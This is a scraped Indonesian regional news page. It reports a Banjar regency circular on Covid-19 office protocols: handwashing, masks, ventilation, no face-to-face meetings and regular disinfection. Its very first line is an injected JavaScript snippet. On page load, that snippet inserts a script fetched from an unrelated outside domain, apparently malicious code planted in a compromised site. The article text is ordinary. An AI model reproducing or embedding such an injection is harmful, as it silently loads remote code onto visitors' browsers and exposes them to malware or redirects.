(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Cegah Klaster Baru, Pemkab Banjar Terbitkan SE Protokol Covid-19 di Perkantoran. Ini Isinya!


KANALKALIMANTAN. COM, MARTAPURA – Rentannya perkantoran pemerintah menjadi klaster baru Covid-19 membuat Pemkab Banjar mengambil langkah segara. Menyusul sejumlah pejabat yang terpapar, Pemkab menguluarkan Surat Edaran (SE) No 065/679/ ORG tentang penegasan penerapan penyesuaian kerja bagi aparatur sipil negara (ASN) dalam adaptasi kebiasan baru yang ada di Kabupaten Banjar.

Tak hanya diedarkan di lingkungan pemkab, SE tersebut juga disebar hingga ke kecamatan dan kantor desa di Kabupaten Banjar.

Sekertaris BPBD Banjar Azhar Alamsyah mengatakan, surat edaran dari Bupati Khalilurrahman tersebut guna meningkatkan pengawasan dalam protokol kesehatan Covid-19. “Mengingat saat ini hampir di tiap perkantoran ada saja staf yang terpapar,” katanya.

Dalam SE tersebut, disampaikan bahwa setiap perkantoran yang ada di kabupaten banjar yang membuka layanan atau kerja diwajibkan harus menyediakan dan menambah fasilitas cuci tangan dan menyiapkan masker. Termasuk mengatur tempat duduk di ruang ruang tertentu sesuai dengan ketentuan.

“Selain peningkatan itu juga disertai larangan bagi perkantoran yang berada di kabupaten banjar untuk melakukan rapat atau pertemuan apapun secara tatap muka” paparnya.

SE tersebut juga meminta fasilitas perkantoran memiliki ventilasi udara yang baik mengingat penyebaran virus ovid-19 bisa melalui droplet (percikan air ludah) dan airborne (melalui udara).

Selain itu, setiap perkantoran juga diminta mengatur ulang kembali waktu kerja serta pembatasan staf di setiap harinya guna mencegah kerumunan.

“Selain itu untuk pencegahan Covid-19 juga mewajibkan untuk setiap perkantoran melakukan penyemprotan disinfektan secara berkala.

Sejauh ini, BPBD Banjar sudah mendapatkan permintaan dari setiap perkantoran untuk melakukan penyemprotan menyusul terbitnya SE tersebut,” pungkas Azhar. (Kanalkalimantan.com/putra)

 

Reporter: Putra
Editor: Cell


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

6 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

8 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

8 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

10 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

12 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

13 jam ago

This website uses cookies.